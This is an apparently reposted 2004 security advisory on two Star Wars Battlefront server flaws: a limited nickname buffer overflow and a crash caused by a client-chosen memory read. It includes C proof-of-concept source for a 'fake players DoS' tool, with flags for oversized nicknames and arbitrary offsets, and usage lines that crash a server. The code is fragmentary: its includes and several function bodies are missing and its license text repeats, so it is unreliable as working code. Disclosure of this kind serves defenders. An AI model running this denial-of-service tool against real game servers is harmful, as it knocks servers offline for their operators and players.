Limited Buffer Overflow and Arbitrary Memory Access in Star Wars Battlefront
25 Nov. 2004
Summary
Star Wars Battlefront is the newest game based on the universe of Star Wars, is developed by Pandemic Studios
and has been released at September 2004. Two security vulnerabilities have been discovered in Star Wars' Battelfront game, one allows a limited overflowing of a buffer and the other allows to cause a DoS against the client connecting to the server.
Credit:
The information has been provided by Luigi Auriemma.
Vulnerable Systems:
* Star Wars Battlefront For PC Version 1.11 and Below. (XBox and Playstation 2 versions may also be vulnerable).
Limited Buffer-Overflow in Nickname:
If a client uses a too big nickname causes a limited buffer-overflow in the server. "Limited" because doesn't seem possible to overwrite important memory zones or to execute remote code.
Crash Caused By Arbitrary Memory Access:
The join request uses a strange field. This field is a 32 bits value that must contain a memory offset used to
build the following debug message: "player %s had crash at 0x%x\n"
%s is just the memory address specified by the client. The effect, naturally, is that an attacker can force the server to read an unreachable memory location causing its immediate crash.
Note: this bug doesn't seem to affect the Playstation 2 dedicated server.
Note: Both these bugs must be considered in-game bugs because the password field (a 32 bits checksum) is checked before other informations so the packet is rejected if the password provided by the attacker is wrong.
Exploit Code:
/*
Copyright 2004 Luigi Auriemma
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
int main(int argc, char *argv[]) {
struct sockaddr_in peer,
peerl;
u_long bits,
mem_offset = 0;
int sd,
i,
len,
pcklen,
nicklen,
on = 1,
timewait = ONESEC,
hexdump = 0,
guest = 0,
src_nat = 0,
dst_nat = 0,
info_only = 0,
server_ver = 0; /* 0 = 1.0 and 1.01, 1 = 1.1, and so on */
u_short port = PORT;
u_char *buff,
*pck,
*b,
*nick = "",
*pwd = "";
setbuf(stdout, NULL);
fputs("\n"
"Star Wars Battlefront Fake Players DoS and Tester "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s [options] <host>\n"
"\n"
"Options:\n"
"-p PORT server port (%d)\n"
"-n NICK the nick you want to use for your fake player (default is none)\n"
"-w PASS the password to use if the server is protected\n"
"-i shows server informations and exits. Works perfectly with servers\n"
" >= 1.1 but second half of the info are wrong for servers <= 1.01\n"
"-t SEC seconds to wait when the server is full, default is 1\n"
"-v NUM version number to use for joining a server, by default the number\n"
" is automatically scanned finding the exact server version\n"
"\n"
"Test options:\n"
"-x shows the hex dump of the join-reply packets received\n"
"-g enable the guest player, practically with one single packet is\n"
" able to fill 2 player positions and one of them is called Guest\n"
"-s SIZE uses a nickname constituited by SIZE chars '%c'\n"
"-m 0xOFF enable a server's option that lets clients to send a memory location\n"
" that will be read by the server (PS2 servers don't support it)\n"
"-f NUM another test option that enable the usage of internal IPs (NAT).\n"
" Since it is only for testing, all the IP and port used by this tool\n"
" are those of the same server. Use -f 1 to enable client's NAT, 2 for\n"
" the server or 3 to enable both\n"
"\n", argv[0], port, CHR);
exit(1);
}
argc--;
for(i = 1; i < argc; i++) {
switch(argv[i][1]) {
case 'p': port = atoi(argv[++i]); break;
case 'n': nick = argv[++i]; break;
case 'w': pwd = argv[++i]; break;
case 'i': info_only = 1; break;
case 't': {
timewait = atoi(argv[++i]);
printf("- time to wait: %d seconds\n", timewait);
#ifdef WIN32
timewait *= 1000;
#endif
} break;
case 'v': server_ver = atoi(argv[++i]); break;
case 'x': hexdump = 1; break;
case 'g': guest = 1; break;
case 's': {
nicklen = atoi(argv[++i]);
nick = malloc(nicklen + 1);
if(!nick) std_err();
memset(nick, CHR, nicklen);
nick[nicklen] = 0x00;
} break;
case 'm': {
i++;
if(argv[i][1] == 'x') sscanf(argv[i], "0x%lx", &mem_offset);
else sscanf(argv[i], "%lu", &mem_offset);
printf("- memory offset: 0x%08lx\n", mem_offset);
} break;
case 'f': {
switch(atoi(argv[++i])) {
case 1: src_nat = 1; break;
case 2: dst_nat = 1; break;
case 3: src_nat = dst_nat = 1; break;
default: {
fputs("\nError: NAT options are 1, 2 or 3\n\n", stdout);
exit(1);
} break;
}
} break;
default: {
printf("\nError: wrong command-line argument (%s)\n\n", argv[i]);
exit(1);
} break;
}
}
/* IP and port in little-endian (I know that on a big-endian CPU this instructions
don't return the exact IP and port, but is not important for this tool) */
bits = write_bits(ntohl(peer.sin_addr.s_addr), 32, b, bits); /* source IP */
bits = write_bits(port, 16, b, bits); /* source port */
if(src_nat) { /* LAN IP and port of the client */
bits = write_bits(1, 1, b, bits);
bits = write_bits(1, 1, b, bits);
bits = write_bits(ntohl(peer.sin_addr.s_addr), 32, b, bits);
bits = write_bits(port, 16, b, bits);
} else {
bits = write_bits(0, 1, b, bits);
}
bits = write_bits(ntohl(peer.sin_addr.s_addr), 32, b, bits); /* dest IP */
bits = write_bits(port, 16, b, bits); /* dest port */
if(dst_nat) { /* LAN IP and port of the server */
bits = write_bits(1, 1, b, bits);
bits = write_bits(1, 1, b, bits);
bits = write_bits(ntohl(peer.sin_addr.s_addr), 32, b, bits);
bits = write_bits(port, 16, b, bits);
} else {
bits = write_bits(0, 1, b, bits);
}
pcklen = 5 + (bits >> 3);
if(bits & 7) pcklen++;
i = (pcklen - 5) & 3; /* SWB decodes 32 bits of data each time */
if(i) pcklen += (4 - i);
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
http://www.gnu.org/licenses/gpl.txt
function to show the hex dump of a buffer
Usage:
to show the hex dump on the screen:
show_dump(buffer, buffer_length, stdout);
to write the hex dump in a file or other streams:
show_dump(buffer, buffer_length, fd);
(if you know C you know what FILE *stream means 8-)
*/
StarWars Battlefront CRC32 0.1
by Luigi Auriemma
e-mail: aluigi@altervista.org
web: http://aluigi.altervista.org
INTRODUCTION
-===========
This modified CRC32 algorithm is used for some operations like the
password authentication, in fact the password is a checksum comparison.
EXAMPLE
-======
mycrc = swbcrc(password, stlren(password));
LICENSE
-======
Copyright 2004 Luigi Auriemma
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Read/Write bits to buffer 0.1.1
by Luigi Auriemma
e-mail: aluigi@altervista.org
web: http://aluigi.altervista.org
max 32 bits numbers supported (from 0 to 4294967295).
Probably not the fastest bit packing functions existent, but I like them.
*/
unsigned long read_bits( // number read
unsigned long bits, // how much bits to read
unsigned char *in, // buffer from which to read the number
unsigned long in_bits // position of the buffer in bits
) {
unsigned long seek_bits,
rem,
seek = 0,
ret = 0,
mask = -1L;
unsigned long write_bits( // position where the stored number finishs
unsigned long data, // number to store
unsigned long bits, // how much bits to occupy
unsigned char *out, // buffer on which to store the number
unsigned long out_bits // position of the buffer in bits
) {
unsigned long seek_bits,
rem;
Usage examples:
Running: swbfp -s 100 localhost sends a nickname of 100 chars to the server
Running: swbfp -m 1234 localhost forces the server to read the data at offset 1234 (0x000004d2)